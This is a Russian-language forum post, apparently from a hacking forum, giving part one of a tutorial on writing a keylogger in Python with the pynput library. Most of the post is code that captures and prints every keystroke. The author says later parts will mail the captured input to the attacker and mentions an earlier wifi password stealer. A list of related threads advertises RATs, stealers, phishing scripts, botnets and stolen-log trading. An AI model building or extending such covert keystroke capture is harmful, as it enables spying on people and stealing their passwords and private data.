Свой мини кейлоггер на python

Anorali

Original poster
Pro Member
Сообщения
100
Реакции
128
Посетить сайт
*Документация к pynput -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Всем привет, недавно я написал статью о создании стиллера паролей от wifi, я не рассчитывал и на 50 просмотров, но нашему много уважаемому учителю CMDfromBAT она показалась довольно забавной и он решил закинуть её на главную форума, и тут как попёрло!) Короче 1k просмотров и я понял, что пора писать ещё) Сначала я хотел написать backdoor, но я ленивый и взял кое-что полегче - кейлоггер) и конечно же python!

Для нашего кейлоггера мы будем использовать библиотеку pynput, предварительно установив её командой

pip install pynput

Импортируем библиотеку

Python:
import pynput.keyboard

Далее нам нужно создать объект, прослушивающий клавиатуру

Python:
keyboard_listener = pynput.keyboard.Listener()

Затем нам нужно вызвать функцию обратного вызова, которая будет вырабатываться при каждом нажатии клавиши

Python:
def process_key_press(key):
    print(key) # пока мы просто будем выводить результат

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)

Итак, у нас есть переменная с результатом нажатия клавиш, но мы с ней ничего не сделали. Чтобы запустить listener мы будем использовать ключевое слово with. По сути в питоне слово with, используется для работы с не контролируемыми потоками данных.

Python:
with keyboard_listener:
    keyboard_listener.join()

Вот и всё!

Python:
import pynput.keyboard

def process_key_press(key):
    print(key)

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()

При этом я учитываю, что вы читали документацию pynput (ссылка вверху), а иначе в дальнейшем будет не легко понять, что вообще происходит!

Тестим:

Открываем два окна с терминалом, в первом окне запускаем наш мини кейлоггер, а во второй что нибудь пишем

вот результат:

Снимок экрана 2020-06-22 06:16:01.png

*Всё особые клавиши, по типу backspace выводятся через "Key."

С основной частью мы закончили(написание самого кейлоггера). Я разделил эту статью на несколько частей, это первая, в дальнейших мы будем всё больше и больше совершенствовать свой код, вывод программы будет более понятный и приходить на почту)

Всем удачи!
 
Название темы
Автор Заголовок Раздел Ответы Дата
Anorali Свой мини кейлоггер на python. Часть 3 Вирусология 2
Anorali Свой мини кейлоггер на python. Часть 2 Вирусология 0
S Интересно Свой мини-рат на python + стиллер хрома v80 Софт от наших юзеров 8
G Python для хакера - Часть 4. Свой мини фреймворк. Другие ЯП 1
Support81 Важно!!! Создаем свой VPN с защищенным от блокировок протоколом AmneziaWG, или WireGuard на максималках Анонимность и приватность 3
ananda Куплю Куплю дорого свой запрос в ваших логах/строках Куплю/Продам 1
slovokek Куплю Ищу свой запрос в ваших логах, нужен лог и пасс!!! Куплю/Продам 1
K Интересно Отработаю свой Запрос GE в ваших логах Предоставляю работу. Ищу специалиста. 1
ananda Куплю Ищу свой запрос в ваших USA логах Куплю/Продам 1
NetRay NetRay - cоздай свой VPN Сайты/Хостинг/Сервера 1
M Куплю Свой запрос с ваших логов. GEO – любое Куплю/Продам 2
slovokek Куплю Куплю свой запрос в вашей валид базе US (mail:pass) Куплю/Продам 0
S ⏩ Как запустить свой товарный бизнес и начать зарабатывать, кейс. Способы заработка 0
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 3
U Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Другие ЯП 10
B Разработка ботов под любую рутину. Разгрузи свой график! Ищу работу. Предлагаю свои услуги. 1
L Чекну ваши базы, на свой банк 50/50 (Brute/Checker) Предоставляю работу. Ищу специалиста. 2
L Интересно C# - Критичный процесс (Защищаем свой вирус) .NET 0
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
G Интересно Создаём свой магазин в телеграмме бесплатно. Полезные статьи 0
F Интересно Поднимаем свой IoT ботнет на основе Mirai Вирусология 4
igori9891 Сливаю свой мануал) Другое 0
S wpXtube плагин для WP с возможностью организовать свой туб+ партнёрство Другое 3
L Интересно Майк Новограц: ралли биткоина только начинается, не упустите свой шанс Новости в сети 0
K Как проверить свой ПК на ратник (без антивируса) Вопросы и интересы 4
T Как сделать свой Fishing сайт? Вопросы и интересы 7
Л Интересно Окуплю валид DE Паблик/Приват на свой сервис Ищу работу. Предлагаю свои услуги. 3
S Пишу свой ботнет, что думаете? Другие ЯП 3
andre5787 Как создать свой кейлоггер без знания языков программирвония? Вопросы и интересы 5
Multi-VPN Как отключить IPv6 в Windows и не спалить свой IPv6 адрес за VPN SSH / дедики / Vpn / Proxy / Socks 0
M Защищаем свой Python скрипт за пару минут Другие ЯП 0
W Свой шоп или работа с яндекс дзен Полезные статьи 0
АнАлЬнАя ЧуПаКаБрА INLINE ру проект для тех кто не хочет покупать дедики, домены и хостинг за свой счет Проекты Private Keeper 0
B Почему не стоит светить свой IP Анонимность и приватность 0
S Пишем свой перехватчик СМС Android Другие ЯП 3
M С чего начать свой путь в хакинге? СИ/Фишинг/Мошенничество 11
R я не могу посмотреть свой профиль Вопросы и интересы 1
L Свой магазин цифровых товаров за 5 минут Услуги дизайнеров/веб-разработчиков 1
G Защищаем свой сайт и контент от плагиата Уязвимости и взлом 1
K Как открыть свой обменный пункт электронных денег и криптовалют https://cloud.mail.ru/public/ADNB/6h4LdjqAB Другое 0
K Нейропластичность: Как перемонтировать свой мозг Другое 0
G Как построить свой личный ботнет и сколько это стоит Полезные статьи 0
K Wanna Builder (создай свой Wanna cry) Spam/DDOS/Malware 4
Traven Пишем свой стиллер на Python Другие ЯП 5
J Монах который пропил свой феррари Способы заработка 4
АнАлЬнАя ЧуПаКаБрА Google представила свой новый квантовый процессор Bristlecone (2 фото) Новости в сети 0
Z Как создать свой сайт в Даркнете ( .onion ) Другие ЯП 0
D Защищаем свой мобильный счёт от мошенников и операторов Полезные статьи 4
K Создаём свой ХАЙП проект Полезные статьи 11
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор С/C++ 0

Название темы